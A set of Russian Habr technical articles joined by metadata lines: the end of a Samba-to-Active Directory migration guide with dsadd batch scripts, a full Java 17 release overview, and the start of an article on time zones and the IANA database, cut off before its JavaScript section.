— автоматическое создание группы у меня так и не получилось допилить, поэтому создадим группы при помощи крипта, который создаст их в OU-Users, но это может повлечь к неработоспособности некоторых авторизаций в различных сервисах (Apache, OpenVPN, etc.), т.к. у меня были ещё и OU-Builtin и OU-Groups, но решил пока сложить всё в кучу.**
**add\_group.cmd**
```
rem Создание групп (CN) в CN Users
rem dsadd group "cn=,cn=users,dc=mvi,dc=srv"
for %%A in (
jira-users, jira-administrators, Developers,
jira-developers, mvi-users, berry-dev,
online-developers, marketing-users, Marketing,
ne-users, ne-developers, ne-admin,
marketing-administrators, online-users, bills,QA,
) do dsadd group "cn=%%A,cn=users,dc=mvi,dc=srv"
rem Создание подразделения (OU) в корне
rem dsadd group "cn=,cn=groups,dc=mvi,dc=srv"
dsadd ou "ou=Groups,dc=mvi,dc=srv"
for %%B in (
vpn-users, svn-users, jenkins-adm, jenkins,
PHP_Developers, amazon-users,
) do dsadd group "cn=%%B,ou=groups,dc=mvi,dc=srv"
```
После выполнения рутинных операций по копипасту и проверке, можно подготовить bat файлы которые помогут создать пользователей и команды по добавлению их в группы. В столбцах: **ИТОГО** и **ИТОГО** в группу находятся команды для создания пользователей и команды по добавлению их в группы соответственно, их содержимое и сохраним в bat файлы **add\_user.cmd**, **add\_group.cmd**.
Формирование пользователей и групп готово.
Теперь займёмся Windows Server. На текущий момент система должна быть установлена. Нам понадобится утилита newsid. Возьмём SID из списка пользователей, это **S-1-5-21-833212901-2941102506-3986841923** (из полученного SID пользователя удалим последние знаки, вплоть до **"-"** и получим SID домена), и заменим текущий SID системы на наш. Система начнёт изменения и перезагрузится (после перезагрузки можно ещё раз запустить утилиту и посмотреть что SID изменился). Всё, можно устанавливать службу ActiveDirectory (не знаю кто как, но я сначала ставлю DNS, пропуская его настройки, потом при помощи **dcpromo** настраиваю саму службу домена), но перед этим надо либо выключить сервер **SAMBA** и **bind**, либо выключить эти службы (мне пришлось выключить службы, т.к. это ещё и шлюз в интернет ~~руки бы оторвал такому админу~~). Не знаю, можно ли указать другое название домена (ничто не мешает), но мне надо было оставить текущее. Производим необходимые настройки и перезагружаем систему (всё как обычно). Теперь необходимо установить модуль для расширения отображаемых свойств объекта **acctinfo** (по ссылке выше, откуда скачивать, написано как устанавливать), запускаем оснастку **«Active Directory — пользователи и компьютеры»**. Пытаемся создать одного пользователя из первой строки скрипта **add\_user.cmd**
```
dsadd User "cn=user-1101 user-1101 ,cn=users,dc=mvi,dc=srv" -UPN dns-gw-sult@mvi.srv -samid dns-gw-sult -display "user-1101 user-1101 " -fn user-1101 -ln user-1101 -pwd "p6Jx3Xre" -mustchpwd yes -disabled no -pwdneverexpires yes
```
Смотрим в **«Active Directory — пользователи и компьютеры»** какой у него SID в свойствах, во вкладке **Additional Account Info**. Если имя пользователя соответствует с его окончанием SID, то всё правильно и не требует коррекции (если SID не соответствует, то начинаем с пользователя со следующим номером SID, т.е. к текущему прибавляем 1 ). На этом месте у меня произошёл epic fail с одним пользователем, у него SID содержал 1105, а пользователи у меня начали создаваться с 1106, поэтому пришлось долго мучатся и переносить все данные пользователя, т.к. его идентификатор был неверным.
После выяснения порядка, с которого создаются пользователи необходимо скорректировать создание пользователей, удалив/закомментировав команды, которые уже не соответствуют, т.е. убираем всё, что находится до user-1107 и можно смело запускать скрипт **add\_user.cmd**. После выполнения надо создать группы, иначе ничего не выйдет. Запускаем **add\_group.cmd** проверяем, все ли группы создались (стоит обратить внимание на то, что создаются глобальные группы безопасности, если необходимы другие типы, то надо добавить в скрипт -scope {l | g | u}, читаем мануал по **dsadd group**).
**dsadd group /?**
```
Описание. Добавление группы в каталог.
Синтаксис: dsadd group [-secgrp {yes | no}] [-scope {l | g | u}]
[-samid ] [-desc ] [-memberof ]
[-members ] [{-s | -d }] [-u ]
[-p { | \*}] [-q] [{-uc | -uco | -uci}]
Параметры
Значение Описание
Обязательное или stdin. Различающееся имя (DN)
добавляемой группы. Если конечный объект не указан,
он берется из стандартного ввода (stdin).
-secgrp {yes | no} Указывает, что группа является (yes) или не является
(no) группой безопасности. По умолчанию: yes.
-scope {l | g | u} Указывает, что область действия группы является
локальной (l), глобальной (g) или универсальной (u).
Если домен находится в смешанном режиме, универсальная
область не поддерживается. По умолчанию: глобальная.
-samid <имя\_SAM> Задает имя учетной записи SAM группы <имя\_SAM>
(например, "operators").
-desc <описание> Задает описание группы <описание>.
-memberof <группа...> Делает группу членом одной или нескольких групп,
определяемых разделяемым пробелами списком имен DN
<группа...>.
-members <член...> Добавляет одного или несколько членов в группу. Члены
задаются разделяемым пробелами списком имен <член...>.
{-s <сервер> | -d <домен>}
-s <сервер> задает подключение к контроллеру домена
(КД) с именем <сервер>.
-d <домен> задает подключение к КД в домене.
По умолчанию: КД в домене входа.
-u <пользователь> Подключение с именем <пользователь>. По умолчанию:
вошедший пользователь. Формат имени: имя,
домен\имя или имя участника-пользователя (UPN).
-p {<пароль> | \*} Пароль пользователя <пользователь>. Если задана \*,
выводится приглашение ввести пароль.
-q Тихий режим: подавление всего вывода для
стандартного вывода.
{-uc | -uco | -uci} -uc Задает вход с канала или вывод на канал
в формате Юникод.
-uco Задает вывод на канал или в файл
в формате Юникод.
-uci Задает вход с канала или из файла
в формате Юникод.
Примечание.
Если целевой объект не указан в командной строке, этот целевой объект будет
получен через стандартный ввод (STDIN). Данные STDIN могут быть приняты с
клавиатуры, перенаправлены из файла или из другой команды. Чтобы обозначить
конец ввода данных STDIN с клавиатуры или перенаправленного файла, используйте
CTRL+Z или символ конца файла (EOF).
Если указываемое значение содержит пробелы, заключите его в кавычки (например,
"CN=Ivan Ivanov,CN=Users,DC=microsoft,DC=com").
Если вы указываете несколько значений, разделите их пробелами (например, список
различающихся имен группы).
См. также:
dsadd computer /? - сведения по добавлению компьютера в каталог.
dsadd contact /? - сведения по добавлению контакта в каталог.
dsadd group /? - сведения по добавлению группы в каталог.
dsadd ou /? - сведения по добавлению подразделения в каталог.
dsadd user /? - сведения по добавлению пользователя в каталог.
dsadd quota /? - сведения по добавлению квоты в каталог.
Дополнительные сведения по программам командной строки службы каталогов:
dsadd /? - сведения по добавлению объектов.
dsget /? - сведения по отображению объектов.
dsmod /? - сведения по изменению объектов.
dsmove /? - сведения по перемещению объектов.
dsquery /? - сведения по поиску объектов, отвечающих заданным условиям.
dsrm /? - сведения по удалению объектов.
```
После проверки, запускаем скрипт, который добавит пользователей в группы **add\_user\_group.cmd** (обращаю внимание что могут быть различия, проверяйте где были созданы группы и какие указаны у пользователя).
Вот и закончили миграцию, теперь у нас **ActiveDirectory** вместо **SAMBA**, пользователи имеют те же идентификаторы, осталось ввести в домен сами компьютеры и задача будет завершена, придётся только допиливать некоторые моменты, которые индивидуальны у каждого.
Текст, написанный мной, как обычно сумбурен, хаотичен, содержит ошибки, возможно неточности и др.
[Все скрипты в одном месте (с примерами).](http://yadi.sk/d/hQe1ehke3TyLS)
P.S.
Надеюсь все помнят что cmd, в данном случае, надо сохранять используя OEM кодировку?
Об ошибках прошу сообщать для исправления.
**Используемый материал:**[sysadmins.ru/post7750072.html](http://sysadmins.ru/post7750072.html)
[social.technet.microsoft.com/Forums/de-DE/windowsserverru/thread/c75c66cb-5621-4ad7-923d-ec22d81cb2b2](http://social.technet.microsoft.com/Forums/de-DE/windowsserverru/thread/c75c66cb-5621-4ad7-923d-ec22d81cb2b2)
[gallery.technet.microsoft.com/scriptcenter/1af1f056-c945-4d18-a4aa-c244ac1daac7](http://gallery.technet.microsoft.com/scriptcenter/1af1f056-c945-4d18-a4aa-c244ac1daac7)
[it-kursy.ru/article/admtools/user-xls](http://it-kursy.ru/article/admtools/user-xls)
[download.chip.eu/ru/NewSID\_163121.html](http://download.chip.eu/ru/NewSID_163121.html) | https://habr.com/ru/post/173985/ | null | ru | null |
# Вышла Java 17
Вышла общедоступная версия [Java 17](http://openjdk.java.net/projects/jdk/17/). В этот релиз попало более [2700 закрытых задач и 14 JEP'ов](https://builds.shipilev.net/backports-monitor/release-notes-17.html). Изменения API можно посмотреть по [этой ссылке](https://javaalmanac.io/jdk/17/apidiff/16/).
Ссылки на скачивание:
* [Oracle JDK](https://www.oracle.com/java/technologies/downloads/)
* [OpenJDK](http://jdk.java.net/17/)
Перечислим JEP'ы, которые попали в Java 17.
### Язык
#### [Восстановление всегда строгой семантики чисел с плавающей точкой (JEP 306)](https://openjdk.java.net/jeps/306)
Теперь все выражения с плавающей точкой вычисляются строго на всех платформах, и разницы между строгой семантикой и семантикой по умолчанию больше нет (как это было до Java 1.2). Таким образом, ключевое слово `strictfp` больше не имеет эффекта, и при его использовании выдаётся предупреждение:
```
> javac Main.java
Main.java:1: warning: [strictfp] as of release 17, all floating-point
expressions are evaluated strictly and 'strictfp' is not required
strictfp public class Main {
^
```
#### [`sealed` классы (JEP 409)](https://openjdk.java.net/jeps/409)
«Запечатанные» классы после двух preview итераций в [Java 15](https://openjdk.java.net/jeps/360) и [Java 16](https://openjdk.java.net/jeps/397) наконец-то стали стабильной синтаксической конструкцией и больше не требуют флага `--enable-preview`. Различий по сравнению с Java 16 нет.
Напомним, ключевым слово `sealed` можно пометить класс или интерфейс, если нужно ограничить список его наследников. Список можно указать явно, перечислив все наследники с помощью ключевого слова `permits`, либо он выведется неявно компилятором из всех задекларированных наследников в текущем исходном файле.
#### [`Паттерн-матчинг для switch` (Preview) (JEP 406)](https://openjdk.java.net/jeps/406)
Появилась новая синтаксическая конструкция в режиме preview, существенно расширяющая возможности оператора `switch`: теперь оператор `switch` поддерживает не только простые тесты на равенство с константами примитивов, перечислений и строк, но и тесты по паттернам.
Простейшие паттерны это паттерны по типу:
```
Object o = ...
return switch (o) {
case Integer i -> String.format("int %d", i);
case Long l -> String.format("long %d", l);
case Double d -> String.format("double %f", d);
case String s -> String.format("String %s", s);
default -> o.toString();
};
```
Паттерны могут снабжаться условиями путём добавления охранных паттернов:
```
Shape s = ...
switch (s) {
case Triangle t && (t.calculateArea() > 100) ->
System.out.println("Large Triangle");
default ->
System.out.println("A shape (possibly a small triangle)");
}
```
Также добавлена поддержка матчинга `null` с помощью отдельной метки `null`:
```
Object o = ...
switch (o) {
case null -> System.out.println("Null");
case String s -> System.out.println("String: " + s);
default -> System.out.println("Other");
}
```
Ветки `null` и `default` можно объединять друг с другом:
```
String s = ...
switch (s) {
case "Foo", "Bar" -> System.out.println("Foo or Bar");
case null, default -> System.out.println("Null or other");
}
```
Все `switch` с паттернами должны быть исчерпывающими (даже если это `switch` statement, а не `switch` expression):
```
Object o = ...
switch (o) {
case String s -> System.out.println("String: " + s);
case Integer i -> System.out.println("Integer");
}
```
```
> javac --enable-preview --release 17 Main.java
Main.java:4: error: the switch statement does not cover all possible input values
switch (o) {
^
```
Чтобы пример выше стал компилироваться, нужно либо добавить ветку `default`, либо тотальный паттерн (в данном случае `case Object obj`).
Старый `switch` statement можно продолжать делать неисчерпывающим, однако это может [измениться в будущем](https://mail.openjdk.java.net/pipermail/amber-spec-experts/2021-April/002959.html).
Новый `switch` очень хорошо взаимодействует с `sealed` классами, поскольку круг подтипов является ограниченным, а это значит, что ветка `default` не является необходимой, если перечислены все возможные случаи:
```
sealed interface S permits A, B, C {}
final class A implements S {}
final class B implements S {}
record C(int i) implements S {}
```
```
S s = ...
switch (s) {
case A a -> System.out.println("A");
case B b -> System.out.println("B");
case C c -> System.out.println("C");
}
```
На этом беглое рассмотрение паттерн-матчинга для `switch` мы закончим, а про другие возможности и нюансы можно почитать на [странице JEP](https://openjdk.java.net/jeps/406).
### API
#### [Enhanced Pseudo-Random Number Generators (JEP 356)](https://openjdk.java.net/jeps/356)
В Java 17 появился новый пакет [`java.util.random`](https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/util/random/package-summary.html) с новыми интерфейсами и реализациями генераторов псевдослучайных чисел. Наверху иерархии новый интерфейс [`RandomGenerator`](https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/util/random/RandomGenerator.html), который является родителем как новых генераторов и специализаций ([`SplittableRandomGenerator`](https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/util/random/RandomGenerator.SplittableGenerator.html), [`JumpableRandomGenerator`](https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/util/random/RandomGenerator.JumpableGenerator.html), [`LeapableRandomGenerator`](https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/util/random/RandomGenerator.LeapableGenerator.html), [`ArbitrarilyJumpableRandomGenerator`](https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/util/random/RandomGenerator.ArbitrarilyJumpableGenerator.html)), так и старых классов ([`Random`](https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/util/Random.html), [`ThreadLocalRandom`](https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/util/concurrent/ThreadLocalRandom.html), [`SplittableRandom`](https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/util/SplittableRandom.html)).
Таким образом, алгоритмы генерации чисел теперь стали более взаимозаменяемыми:
```
RandomGenerator random1 = new Random();
RandomGenerator random2 = ThreadLocalRandom.current();
RandomGenerator random3 = RandomGenerator.getDefault();
RandomGenerator random4 = RandomGenerator.of("Xoshiro256PlusPlus");
```
Кроме того, список генераторов ограничен не только теми, что предоставлены самим JDK, но является расширяемыем: предоставлять свои или сторонние реализации можно через механизм [ServiceLoader](https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/util/ServiceLoader.html).
#### [Deprecate the Applet API for Removal (JEP 398)](https://openjdk.java.net/jeps/398)
API аплетов, которое [стало deprecated](https://openjdk.java.net/jeps/289) в Java 9, теперь стало помечено как подлежащее окончательному удалению. Таким образом, существующий код, который использует классы из Applet API ([`java.applet.Applet`](https://docs.oracle.com/en/java/javase/17/docs/api/java.desktop/java/applet/Applet.html), [`javax.swing.JApplet`](https://docs.oracle.com/en/java/javase/17/docs/api/java.desktop/javax/swing/JApplet.html) и т.д.), может перестать работать на одной из следующих версий Java (но всё ещё продолжит работать на Java 17).
#### [Удаление RMI Activation (JEP 407)](https://openjdk.java.net/jeps/407)
Механизм RMI Activation, который стал [deprecated в Java 15](https://openjdk.java.net/jeps/385), теперь удалён окончательно. RMI Activation был частью RMI, которая использовалась в чрезвычайно малом количестве приложений и фактически устарела. Для того чтобы избежать дорогой поддержки никому не нужного механизма, было принято решение его полностью удалить.
#### [Deprecate the Security Manager for Removal (JEP 411)](https://openjdk.java.net/jeps/411)
Security Manager стал помечен как подлежащий удалению. В одной из будущих версий его планируется удалить окончательно. Аннотацию `@Deprecated(forRemoval=true)` получили 10 классов и 10 методов из стандартной библиотеки Java. Среди них [`java.lang.SecurityManager`](https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/lang/SecurityManager.html), [`java.security.Policy`](https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/security/Policy.html), [`java.lang.System::setSecurityManager`](https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/lang/System.html#setSecurityManager(java.lang.SecurityManager)), [`java.lang.System::getSecurityManager`](https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/lang/System.html#getSecurityManager()), [`java.lang.Thread::checkAccess`](https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/lang/Thread.html#checkAccess()) и другие. Кроме того, при вызове метода `System.setSecurityManager()` во время исполнения будет выдаваться предупреждение:
```
WARNING: A terminally deprecated method in java.lang.System has been called
WARNING: System::setSecurityManager has been called by com.foo.bar.Server
(file:/tmp/foobarserver/thing.jar)
WARNING: Please consider reporting this to the maintainers of com.foo.bar.Server
WARNING: System::setSecurityManager will be removed in a future release
```
Также предупреждение будет выдаваться при установке Security Manager через аргументы командной строки указанием свойства `java.security.manager`:
```
> java -Djava.security.manager=com.foo.bar.Server MyApp
WARNING: A command line option has enabled the Security Manager
WARNING: The Security Manager is deprecated and will be removed in a future release
```
Начать отказ от Security Manager было решено по причине того, что он слабо отвечает современным требованиям безопасности и всё меньше и меньше пользуется спросом при разработке новых Java-приложений, но цена его поддержки остаётся очень высокой. У него хрупкая модель разрешений, сложная программная модель, и он приносит большие накладные расходы по производительности.
#### [Foreign Function & Memory API (Incubator) (JEP 412)](https://openjdk.java.net/jeps/412)
Foreign Memory API, который побывал в Java [14](https://openjdk.java.net/jeps/370), [15](https://openjdk.java.net/jeps/383), [16](https://openjdk.java.net/jeps/393) в инкубационном статусе, и Foreign Linker API, появившийся в [Java 16](https://openjdk.java.net/jeps/389), теперь объединены в один Foreign Function & Memory API, и он всё ещё остаётся в инкубационном статусе в модуле [`jdk.incubator.foreign`](https://docs.oracle.com/en/java/javase/17/docs/api/jdk.incubator.foreign/module-summary.html).
#### [Vector API (Second Incubator) (JEP 414)](https://openjdk.java.net/jeps/414)
Векторное API, которое появилось в [Java 16](https://openjdk.java.net/jeps/338) в инкубационном статусе, всё ещё остаётся в этом статусе в модуле [`jdk.incubator.vector`](https://docs.oracle.com/en/java/javase/17/docs/api/jdk.incubator.vector/module-summary.html).
#### [Context-Specific Deserialization Filters (JEP 415)](https://openjdk.java.net/jeps/415)
Фильтры десериализации, которые [появились в Java 9](https://openjdk.java.net/jeps/290) для контроля десериализации из ненадёжных источников данных, стали более гибкими благодаря введению фабрики фильтров. Если раньше возможно было только указывать фильтр индивидуально для каждого объекта `ObjectInputStream` или использовать один глобальный статический фильтр для всей виртуальной машины, то сейчас можно указать статическую фабрику фильтров, которая для каждой операции десериализации будет возвращать нужный фильтр, подходящий для данного контекста.
Фабрику фильтров можно установить через метод [`ObjectInputFilter.Config::setSerialFilterFactory`](https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/io/ObjectInputFilter.Config.html#setSerialFilterFactory(java.util.function.BinaryOperator)), либо через аргументы командной строки, передав имя класса фабрики в свойство `jdk.serialFilterFactory`.
### JVM
#### [New macOS Rendering Pipeline (JEP 382)](https://openjdk.java.net/jeps/382)
Реализован новый конвейер рендеринга на основе современного [Apple Metal API](https://developer.apple.com/metal/), который был создан с целью заменить устаревший Apple OpenGL API. Новый конвейер сосуществует со старым, который пока что остаётся включённым по умолчанию, но если OpenGL не работает, то запускается новый. Таким образом, Java 17 полностью готова к запуску на будущих версиях macOS, где OpenGL API будет окончательно удалён. Также новый конвейер можно включить явно, указав опцию `-Dsun.java2d.metal=true`.
#### [Порт под macOS/AArch64 (JEP 391)](https://openjdk.java.net/jeps/391)
OpenJDK портирован на архитектуру macOS/AArch64, и теперь список дистрибутивов OpenJDK и Oracle JDK пополнился сборками для Apple M1.
#### [Строгая инкапсуляция внутренностей JDK (JEP 403)](https://openjdk.java.net/jeps/403)
Инкапсуляция внутренних API, которая была [введена в Java 9](https://openjdk.java.net/jeps/260) и была выключена по умолчанию [в Java 16](https://openjdk.java.net/jeps/396), но всё ещё могла быть включена одной опцией командной строки, теперь не может быть включена одной опцией:
```
> java --illegal-access=permit Main
OpenJDK 64-Bit Server VM warning: Ignoring option --illegal-access=permit;
support was removed in 17.0
```
Таким образом, доступиться до внутренностей JDK (`sun.*`, `com.sun.*`, `jdk.internal.*` и т.д.) теперь можно только путём явного перечисления всех необходимых пакетов с помощью опций `--add-opens` или `--add-exports`.
Изменения не касаются критического API в модуле `jdk.unsupported`: классы в пакетах `sun.misc` и `sun.reflect` остаются доступными без флагов.
В будущем опция `--illegal-access` будет удалена окончательно, и при её использовании будет ошибка старта.
#### [Удаление экспериментальных компиляторов AOT и JIT (JEP 410)](https://openjdk.java.net/jeps/410)
Удалены экспериментальные [ahead-of-time](https://openjdk.java.net/jeps/295) и [just-in-time](https://openjdk.java.net/jeps/317) Graal компиляторы. Такое решение было принято из-за сложности поддержки и их малой используемости (те, кому они нужны, используют [GraalVM](https://www.graalvm.org/)). По факту этих компиляторов уже не было в сборках JDK 16 от Oracle.
Удалению подлежали три модуля: `jdk.aot`, `jdk.internal.vm.compiler` и `jdk.internal.vm.compiler.management`. Модуль [JVMCI](https://openjdk.java.net/jeps/243) (`jdk.internal.vm.ci`) остался, чтобы у разработчиков всё ещё оставалась возможность использовать внешний JIT-компилятор.
### Заключение
Предыдущая версия OpenJDK с Long Term Support, [Java 11](https://minijug.ru/java_11_is_out.html), вышла ровно 3 года назад, хотя кажется, что она вышла совсем недавно, практически вчера. Но вот уже вышло 5 версий (12, 13, 14, 15, 16) и мы не успели опомниться, как подоспела следующая LTS-версия, Java 17.
Для тех, кто будет переходить с 11, Java 17 будет достаточно [большим апгрейдом](http://openjdk.java.net/projects/jdk/17/jeps-since-jdk-11). Если сложить все релизы с 12 по 17, то в сумме появилось 5 больших языковых конструкций: выражения `switch`, блоки текста, записи, паттерн-матчинг для `instanceof` и `sealed` классы. Появилось очень много интересного API, сделано много улучшений производительности, оптимизировано потребление памяти, уменьшено время старта JVM. Очень много чего было удалено, поэтому могут возникнуть некоторые трудности при миграции.
Следующими большими шагами для Java будет завершение реализации проектов [Valhalla](http://openjdk.java.net/projects/valhalla/), [Loom](http://openjdk.java.net/projects/loom/) и [Panama](http://openjdk.java.net/projects/panama/), а также дальнейшие языковые улучшения в проекте [Amber](http://openjdk.java.net/projects/amber/). Увидим ли мы всё это в следующей LTS-версии? Узнаем через [2 года](https://mreinhold.org/blog/forward-even-faster). | https://habr.com/ru/post/577924/ | null | ru | null |
# Работа с часовыми поясами в JavaScript
Недавно я работал над задачей добавления часовых поясов в JS-библиотеку календаря, которую ведёт моя команда. Мне было хорошо известно о никудышной поддержке часовых поясов в JavaScript, но я надеялся, что абстрагирование имеющихся объектов данных позволит легко решить большинство трудностей.
Однако мои мечты пошли прахом. Когда я углубился в задачу, то понял, что в этом языке действительно трудно работать с часовыми поясами. Реализовать что-то сложнее простого форматирования отображения времени и вычисления даты с помощью комплексных операций (функции календаря) было чрезвычайно трудным делом. Я получил ценный опыт решения этой проблемы, и это повлекло за собой новые затруднения.
В этой статье я хочу обсудить, с чем я столкнулся и как это решал. Пока я писал текст, осознал, что причиной всех невзгод было плохое понимание мной самой темы часовых поясов. В свете этого осознания я предлагаю сначала подробно поговорить об определении и стандартах, а уже потом переходить к JavaScript.
Что такое часовой пояс?
-----------------------
Часовой пояс — это географический регион, в котором используется единое местное время, установленное правительством страны. Многие страны целиком относятся к каким-то конкретным часовым поясам, а на территориях больших государств, вроде России и США, применяется несколько часовых поясов. Любопытно, что хотя Китай тоже достаточно велик, однако в нём принят лишь один часовой пояс. Иногда это приводит к странным ситуациям, когда в западной части страны восход начинается около 10 утра.
GMT, UTC и смещение
-------------------
#### GMT
Местное южнокорейское время обозначается как `GMT+09:00`. GMT расшифровывается как Greenwich Mean Time (среднее время по Гринвичу), то есть это время на часах Королевской обсерватории в Гринвиче, Великобритания. Она расположена на нулевом меридиане. Радиосигнал GMT-системы начал транслироваться с 5 февраля 1924 года, а сама она превратилась в мировой стандарт с 1 января 1972 года.
#### UTC
Многие считают, что GMT и UTC — это одно и то же, частенько используя их как взаимозаменяемые системы. Но это ошибка. Система UTC появилась в 1972-м как способ компенсации эффекта вращения Земли. В основе системы лежит Международное атомное время (International Atomic Time), вычисляемое по частоте электромагнитных колебаний атомов цезия. Иными словами, UTC — более точная замена GMT. Хотя реальное различие во времени между двумя системами очень мало, всё же разработчикам ПО лучше опираться на UTC.
Интересный факт: когда UTC ещё разрабатывалась, в англоговорящих странах предлагали назвать её CUT (Coordinated Universal Time), а во франкоговорящих — TUC (Temps Universal Coordonn). Однако ни один из лагерей не смог победить, и систему договорились назвать UTC, по буквам из обоих предложенных вариантов (C, T и U).
#### Смещение
`+09:00` в `UTC+09:00` означает, что местное время на 9 часов опережает стандартное UTC-время. То есть когда в Южной Корее 9 вечера, в регионе UTC полдень. Разница между стандартным UTC-временем и местным называется «смещением», которое выражается в виде положительных или отрицательных значений: `+09:00`, `-03:00` и т. д.
Во многих странах принято давать своим часовым поясам уникальные имена. Например, часовой пояс Южной Кореи называется KST (Korea Standard Time), его смещение выражается как `KST = UTC+09:00`. Однако смещение `+09:00` используется не только Южной Кореей, но и Японией, Индонезией и многими другими странами, поэтому связь между смещениями и поясами выражается не как 1:1, а как 1:N. Список стран со смещением `+09:00` представлен [здесь](https://en.wikipedia.org/wiki/UTC+09:00).
Некоторые смещения оперируют не только часами. К примеру, в Северной Корее стандартным временем является `+08:30`, а в Австралии в некоторых регионах используются `+8:45`, `+09:30` и `+10:30`.
Полный список UTC-смещений находится [здесь](https://en.wikipedia.org/wiki/List_of_UTC_time_offsets).
Часовой пояс !== смещение?
--------------------------
Как я уже говорил, мы используем имена часовых поясов (KST, JST) со смещениями как взаимозаменяемые, не различая их. Но будет ошибочным считать одним и тем же время и смещение конкретного региона. Причин несколько:
#### Летнее время (DST)
В некоторых странах этот термин неизвестен, но во многих государствах практикуют переход на летнее время, в основном в Европе. Для этого принят международный термин DST — Daylight Saving Time. Оно означает перевод часов в летний период на один час вперёд относительного стандартного времени.
К примеру, в Калифорнии зимой используется PST (Pacific Standard Time, Тихоокеанское стандартное время), а летом PDT (Pacific Daylight Time, `UTC-07:00`). В США и Канаде термин Pacific Time (PT, Тихоокеанское время) применяется для регионов, в которых используются два часовых пояса.
Когда начинается и заканчивается летнее время? Всё зависит от страны. Например, в США и Канаде до 2006 года DST использовался с 2 часов ночи первого воскресенья апреля до 12 ночи последнего воскресенья октября. А с 2007-го летнее время стали отсчитывать с 2 ночи второго воскресенья марта до 2 ночи первого воскресенья ноября. В Европе в разных странах практикуется прогрессивное применение DST в зависимости от каждого часового пояса.
#### Меняются ли часовые пояса?
Каждая страна сама определяет, какими часовыми поясами ей пользоваться, поэтому местное время может меняться по любым политическим и/или экономическим причинам. Например, в США границы DST поменяли в 2007-м, потому что Джордж Буш инициировал энергетическую политику в 2005-м. Египет и Россия раньше переходили на летнее время, но отказались от этого с 2011-го.
В ряде случаев правительство может изменить не только порядок перехода на летнее время, но и стандартное время. К примеру, раньше на Самоа использовалось смещение `UTC-10:00`, но потом они перешли на `UTC+14:00` для снижения убытков в торговле из-за разницы во времени с Австралией и Новой Зеландией. Это решение привело к выпадению из жизни страны целого дня — 30 декабря 2011 года, о чём написали [газеты по всему миру](https://www.abc.net.au/news/2011-12-30/samoa-skips-friday-in-time-zone-change/3753350).
В Нидерландах с 1909 года применялось смещение `+0:19:32.13`, с 1937-го страна перешла на `+00:20`, а с 1940-го на `+01:00`, с тех пор основное время там не менялось.
Часовой пояс 1: смещение N
--------------------------
Итак, часовой пояс может иметь одно или несколько смещений. Какое именно время принято в качестве стандартного, зависит от текущих политических и/или экономических причин в конкретной стране.
В повседневной жизни это не вызывает затруднений, пока не попытаешься систематизировать эти данные на основе каких-то правил. Представим, что вы хотите установить на своём смартфоне стандартное время с помощью какого-то смещения. Если вы живёте в регионе, в котором практикуется переход на летнее время, то смартфон должен знать, когда именно нужно переходить туда и обратно. То есть нужно установить взаимосвязь между стандартным и летним временем в одном часовом поясе (например, Pacific Time).
Но это не получится сделать с помощью пары простых правил. Например, когда в США в 2007-м поменяли начало и конец DST, 31 мая 2006 должно было использовать в качестве стандартного времени PDT (`-07:00`), а 31 марта 2007 — PST (`-08:00`). Получается, чтобы ссылаться на конкретный часовой пояс, нужно знать всю историю изменения часовых поясов или дату изменения правил перехода на летнее время.
Вы можете сказать: «Часовой пояс в Нью-Йорке — PST (`-08:00`)». Однако необходимо пояснить: «Текущий часовой пояс в Нью-Йорке — это PST». При этом для точной реализации системы нужно использовать ещё более точное выражение. Забудьте термин «часовой пояс». Вы должны сказать: «Сейчас в Нью-Йорке в качестве стандартного времени используется PST».
Так что же мы должны использовать вместо смещения для определения часового пояса конкретного региона? Название этого региона. Точнее, вы должны группировать в единые часовые пояса те регионы, в которых одинаково переходят на летнее и стандартное время. Можно использовать наименования вроде PT (Pacific Time), но они лишь объединят под собой текущие стандартное и летнее время, и вовсе не обязательно учитывают все исторические изменения. Более того, поскольку PT имеет хождение лишь в США и Канаде, вам нужно опираться на устоявшиеся стандарты авторитетных организаций, чтобы обеспечить универсальность применения вашего ПО.
База данных часовых поясов IANA
-------------------------------
Должен признаться, что информация о часовых поясах — это, скорее, база данных, а не набор правил, потому что эта информация должна содержать все соответствующие исторические изменения. Есть несколько стандартных баз, предназначенных для решения задач, связанных с часовыми поясами. Чаще всего используют [IANA Time Zone Database](https://www.iana.org/time-zones), и обычно называют её tz database (или tzdata). База содержит исторические данные об изменениях стандартного времени и DST по всему земному шару. Причём организована она так, чтобы можно было проверить все исторические данные и убедиться в точности времени начиная с Unix time (`1970.01/01 00:00:00`). Хотя вы можете найти в базе информацию и до 1970-го, однако их точность не гарантируется.
Соглашение о наименованиях использует правило «регион/место». В качестве региона обычно используют название континента или океана (Азия, Америка, Тихий океан), а в качестве места — названия основных городов (Сеул, Нью-Йорк). Причина в том, что города обычно существуют дольше стран. Например, часовой пояс Южной Кореи — `Asia/Seoul`, а Японии — `Asia/Tokyo`. Хотя обе страны используют одно смещение `UTC+09:00`, у них по-разному менялось местное время, поэтому их разделили на разные часовые пояса.
Базой IANA управляет много сообществ разработчиков и историков. В неё сразу заносят свеженайденные исторические данные и обновляют текущие политики, так что базу сегодня можно считать самым надёжным источником. Более того, её используют под капотом многие Unix-системы, включая Linux и MacOS, а также ряд популярных языков программирования, в том числе Java и PHP.
Обратите внимание, что Windows использует [базу данных Microsoft](https://support.microsoft.com/en-us/help/22803/daylight-saving-time). Однако, она неточна с точки зрения исторических данных и поддерживается только самой Microsoft. Поэтому база менее надёжна, чем база IANA.
JavaScript и база IANA
----------------------
